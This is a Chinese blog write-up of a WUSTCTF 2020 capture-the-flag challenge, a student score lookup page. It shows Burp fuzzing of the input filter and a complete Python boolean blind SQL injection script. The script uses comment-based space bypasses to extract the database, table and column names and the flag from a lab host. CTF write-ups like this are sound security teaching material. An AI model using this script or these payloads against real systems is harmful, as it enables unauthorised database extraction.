[WUSTCTF 2020]颜值成绩查询

[WUSTCTF 2020]颜值成绩查询

拿到题目一看,输入1-4都有学生成绩,想到可能是sql注入

首先先用burp fuzz一下过滤了些什么

结果如下

不像别的大佬wp所述,我这里空格的返回长和其他都是一样的,但是这个TRUE说明sql注入的方向确实是正确的,只能猜测一下过滤了哪些字符,然后找到空格是过滤了的,看到返回结果只有两种情况,尝试布尔盲注

脚本摘自白初&师傅,四个payload自己根据过滤修改

import requests
 import time
 ​
 url = 'http://cd82b63c-6c9a-46d7-8288-09fea5ba97f3.node5.buuoj.cn:81/?stunum='
 i = 0
 flag = ''
 while True:
     i += 1
     # 从可打印字符开始
     begin = 32
     end = 126
     tmp = (begin + end) // 2
     while begin < end:
         print(begin, tmp, end)
         time.sleep(0.1)
         # 爆数据库
         # payload = "1/**/and/**/(ascii(substr(database(),%d,1))>%d)" % (i, tmp)
         # 爆表
         # payload = "1/**/and/**/(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),%d,1))>%d)" % (i, tmp)
         # 爆字段
         # payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='*****')),%d,1))>%d)" % (i, tmp)
         # 爆flag
         # payload = "1/**/and/**/(ascii(substr((select(group_concat(******))from(******)),%d,1))>%d)" % (i, tmp)
 ​
 ​
         r = requests.get(url + payload)
         if 'admin' in r.text:
             begin = tmp + 1
             tmp = (begin + end) // 2
         else:
             end = tmp
             tmp = (begin + end) // 2
 ​
     flag += chr(tmp)
     print(flag)
     if begin == 32:
         break
 payload = "1/**/and/**/(ascii(substr(database(),%d,1))>%d)" % (i, tmp)

解释一下这个payload %d是占位符,对应i和tmp,substr从数据库database()的第i位截取一个字符取其ascii值和tmp的值进行对比,如果为TRUE结合1整体为TRUE,从而观察网页输出试出库名,同理试出表名和内容

这里截取输出的判断依据是网页中有admin字段,这在之前的fuzz测试时体现出来了

最后四个payload全用一遍,在value中找到flag

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值